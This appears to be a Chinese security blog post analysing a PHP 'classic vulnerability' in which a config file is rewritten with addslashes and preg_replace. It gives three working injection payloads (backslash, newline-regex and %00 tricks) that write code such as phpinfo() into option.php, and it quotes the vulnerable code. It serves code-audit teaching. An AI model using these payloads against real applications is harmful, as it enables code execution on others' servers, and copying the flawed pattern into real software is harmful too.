cdxy.me
Footprints on Cyber Security and Python

小密圈《代码审计》中看到P神发的“经典漏洞”,关于写配置文件这个功能点。

问题代码

<?php
$str = addslashes($_GET['option']);
$file = file_get_contents('xxxxx/option.php');
$file = preg_replace('|\$option=\'.*\';|',"\$option='$str';",$file);
file_put_contents('xxxxx/option.php',$file);

?>

输入经过addslashes()处理过之后经匹配替换指定文件内容。

解法1 利用反斜线

输入\';phpinfo();//

\'经过addslashes()之后变为\\\',随后preg_replace会将两个连续的\合并为一个,也就是将\\\'转为\\',这样我们就成功引入了一个单引号,闭合上文注释下文,中间加入要执行的代码即可。

看来是preg_replace函数特性。经测试,该函数会针对反斜线进行转义,即成对出现的两个反斜线合并为一个,以前不知道这个点(跟进)。

本地测试环境: PHP 5.4.45 + Windows + Apache

解法2 利用正则

过程分为两个请求:

第一次传入 aaa';phpinfo();%0a//

此时文件内容

$option='aaa\';phpinfo();
//';

第二次传入随意字串,如bbb 正则代码.*会将匹配到的aaa\替换为bbb

此时文件内容(成功写入恶意代码)

$option='bbb';phpinfo();
//';

解法3 利用%00

仍然分为两步。

第一次传入;phpinfo(); 此时文件内容为:

$option=';phpinfo();';

第二次传入%00

%00addslashes()转为\0,而\0preg_replace函数中会被替换为“匹配到的全部内容”,此时preg_replace要执行的代码如下

preg_replace('|\$option=\'.*\';|',"\$option='\0';",$file);

也就是

preg_replace('|\$option=\'.*\';|',"\$option='$option=';phpinfo();';';",$file);

成功引入单引号闭合,最终写入shell

$option='\$option=';phpinfo();';';

Ref

小密圈:《代码审计》
@Dlive
@L3m0n
@该隐
@phith0n